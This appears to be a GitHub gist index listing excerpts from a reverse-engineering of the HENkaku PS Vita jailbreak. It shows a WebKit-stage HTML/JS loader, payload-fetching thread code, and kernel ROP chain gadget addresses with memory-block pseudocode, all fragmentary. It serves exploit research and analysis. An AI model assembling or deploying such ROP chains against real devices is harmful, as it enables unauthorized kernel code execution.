hexkyz’s gists

hexkyz / henkaku_index.html

Created October 19, 2016 18:16

HENkaku - Stage 1 (HTML code)

	<script src='payload.js'></script>

	<script>
	var r, a, e, t, n, o, l, i, f, v, s, c;
	var u, y, w, p, d, g, h, k, b;
	var A, U;

	var m = 0x40 + payload[16/4]; /* 0x40 bytes for ROP header + 1840 bytes for stack*/
	m /= 4; /* 476 */

hexkyz / henkaku_payload_bin.txt

Created October 19, 2016 18:18

HENkaku - Stage 1 (JS payload)

hexkyz / henkaku_http_loader.c

Last active October 19, 2016 18:47

HENkaku - Stage 1 (HTTP loader)

	// Do stuff
	...

	// Create a new thread for the second payload
	int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);

	// Do stuff
	...

	// Construct the arguments for fetching the second payload

hexkyz / henkaku_stage2_partial.c

Last active October 19, 2016 18:46

HENkaku - Stage 1 (Pre-analysis of stage 2)

	strcpy(stack_base + 0x000086B4, "sdstor0:");
	strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");

	// Do stuff
	...

	strcpy(stack_base + 0x000086E4, "molecule0:");

	SceLibKernel_a4ad("molecule0:");
	SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);

hexkyz / henkaku_stage2.c

Last active October 19, 2016 18:45

HENkaku - Stage 2

	// Copy SD card device path and param
	strcpy(x_stack + 0x000086B4, "sdstor0:");
	strcpy(x_stack + 0x000086CC, "xmc-lp-ign-userext");

	// Clear devctl 0x05 outbuf
	// From x_stack + 0x00006F34 to x_stack + 0x00007334
	memset(x_stack + 0x00006F34, 0x00000000, 0x00000400);

	// Copy dummy device path
	strcpy(x_stack + 0x000086E4, "molecule0:");

hexkyz / henkaku_stage3_krop.txt

Created October 19, 2016 18:36

HENkaku - Stage 3 (Kernel ROP)

	// Kernel ROP chain
	/*
	scesysmem_base + 0x00000347
	POP {PC}
	*/
	0x00(x_stack + 0x00008A8C) = scesysmem_base + 0x00000031 // PC

	/*
	scesysmem_base + 0x00000031
	POP {R0,PC}

hexkyz / henkaku_stage3_pseudocode.c

Created October 19, 2016 18:48

HENkaku - Stage 3 (Pseudo-code)

	// Allocate a new memory block
	char* memblock_name = "Magic";
	uint32_t memblock_type = 0x1020D006;
	uint32_t memblock_size = 0xA0000;
	void* memblock_opts = 0x00000000;
	uint32_t memblock_id = kern_memblock_alloc(memblock_name, memblock_type, memblock_size, memblock_opts, 0);

	// Retrieve the memory block's address into a buffer
	uint32_t *out_buf;
	kern_memblock_getaddr(memblock_id, out_buf);

hexkyz / henkaku_stage3_kxloader.c

Created October 19, 2016 18:50

HENkaku - Stage 3 (Kernel loader)

	// Entry point
	sub_00000010(scesysmem_base, payload_addr)
	{
	r4 = scesysmem_base
	sub_00000356();

	r5 = scesysmem_base >> 0x20
	sub_0000035A();

	// Decrypt and launch HENkaku's payload

hexkyz / henkaku_stage2_rop.txt

Created October 19, 2016 19:12

HENkaku - Stage 2 (ROP chain)

	0x00(x_stack + 0x00008A8C) = scesysmem_base + 0x00000031
	0x00(x_stack + 0x00008A90) = 0x08106803
	0x00(x_stack + 0x00008A94) = scesysmem_base + 0x0001EFF1
	0x00(x_stack + 0x00008A98) = 0x00000038
	0x00(x_stack + 0x00008A9C) = scesysmem_base + 0x0001EFE1
	0x00(x_stack + 0x00008AA0) = scesysmem_base + 0x00000347
	0x00(x_stack + 0x00008AA4) = scesysmem_base + 0x000039EB
	0x00(x_stack + 0x00008AA8) = scesysmem_base + 0x0001B571
	0x00(x_stack + 0x00008AAC) = 0x00000000
	0x00(x_stack + 0x00008AB0) = scesysmem_base + 0x00001E43

hexkyz / sceIoDevctl_leak_1.50.txt

Created February 11, 2017 18:27